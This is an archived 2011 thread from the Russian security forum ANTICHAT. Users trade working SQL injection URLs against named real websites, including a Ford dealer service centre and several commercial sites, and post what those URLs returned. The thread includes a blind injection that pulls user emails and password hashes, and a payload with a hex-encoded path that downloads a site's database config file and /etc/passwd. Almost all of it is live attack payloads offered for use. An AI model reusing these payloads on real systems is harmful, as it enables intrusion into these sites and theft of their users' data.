ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
27.10.2011, 14:53
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от None
http://www.placeanad.ru/index.php?id_typ=288+union+select+1,2,3,4,5,6,CONC AT_WS(user(),version(),DATABASE()),8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8+--+
4 эх
|
|
|
27.10.2011, 19:49
|
|
Познающий
Регистрация: 06.01.2009
Сообщений: 69
Провел на форуме:
116125
Репутация:
3
|
|
http://railroad.union.rpi.edu/article.php?article=0%20union%20select%201,2,3,ver sion()
|
|
|
|
28.10.2011, 14:05
|
|
Познающий
Регистрация: 28.07.2009
Сообщений: 98
Провел на форуме:
247684
Репутация:
136
|
|
сервесный центр FORD
http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,concat_ws(0x3a,@@vers ion,user(),database()),5,6,7,8+--
дальнейшие действия блокирует sweb
http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,4,5,6,7,8+from+admin--
|
|
|
|
29.10.2011, 07:37
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от AC//DC
AC//DC said:
http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,concat_ws(0x3a,@@vers ion,user(),database()),5,6,7,8+--
дальнейшие действия блокирует sweb
http://www.ford-nnov.ru/index.php?page=42&idm=-3+and+1=2+union+select+1,2,3,4,5,6,7,8+from+admin--
Крутил бы через слепую. Я уже писал, что раскручивание скулей через слепую инъекцию spaceweb не блокирует.
В твоём случае:
Код:
Code:
http://www.ford-nnov.ru/index.php?page=42&idm=-3+or+ascii(substring((select+anket_forms.email+from+fordnnov.anket_forms+order+by+id+limit+0,1),1,1))=97
Там 207 записей вида email:hash
Вот только авторизации я не нашёл
|
|
|
|
29.10.2011, 14:27
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws(0x3a,version(),u ser(),DATABASE()),6,7,8,9,0,1,2++--+
|
|
|
|
29.10.2011, 17:57
|
|
Guest
Сообщений: n/a
Провел на форуме:
40748
Репутация:
78
|
|
Сообщение от stepashka_
stepashka_ said:
http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws(0x3a,version(),u ser(),DATABASE()),6,7,8,9,0,1,2++--+
Обратил внимание на ошибку, filesize() /7
Код:
Code:
http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,user%28%29,DATABASE%28%29%29,6,0x2e2e2f2e2e2f436f6e6e656374696f6e732f76646f6d2e706870,8,9,0,1,2++--+
Тыкаем на скачать файл ../../Connections/vdom.php и получаем файл.
/etc/passwd:
Код:
Code:
http://www.vladdom.ru/index.php?mod=page_show&id_pag=-49+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,user%28%29,DATABASE%28%29%29,6,0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764,8,9,0,1,2++--+
|
|
|
|
30.10.2011, 19:15
|
|
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме:
86381
Репутация:
16
|
|
Код:
Code:
http://www.bcspeakers.org/product.php?id=0000000347+UNION+SELECT+1,2,3,4,5,6,CONCAT_WS(USER(),VERSION(),DATABASE()),8,9,10,11,12,13,14,15+--
5.0.77www-bcspeakersro@localhostwww-bcspeakerstest
user: becspeak2803 |
|
|
|
30.10.2011, 20:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
129743
Репутация:
92
|
|
Код:
Code:
http://www.drawminos.com/index.html?id=-218283+union+select+1,2,concat_ws(version(),database(),user()),4,5,6+--+
version: 5.0.77
database: drawminos
user: drawn
тИЦ: 10 / PR: 4 |
|
|
|
30.10.2011, 20:51
|
|
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме:
86381
Репутация:
16
|
|
Код:
Code:
http://luellagloverwilson.co.uk/page.php?p=char(49,57,39)+AND+1=2+UNION+SELECT+1,2,CONCAT_WS(USER(),VERSION(),DATABASE())+--
5.0.92-communityxian_lgw@localhostxian_lgw
..очень грустный оказался inject..
2nikp - Прошляпил маленько, CONCAT_WS([ '-',USER(),VERSION(),DATABASE()) |
|
|
|
30.10.2011, 21:28
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
Провел на форуме:
102906
Репутация:
-14
|
|
тиЦ 10 PR 6
Код:
Code:
http://www.dgc.ca/faq2.php?language=0&id=173&faqid=577+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
NDD@localhost:NDD:5.0.22-Debian_0ubuntu6.06.15-log
P.S: первый раз такое вижу
Запрос + код на странице
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
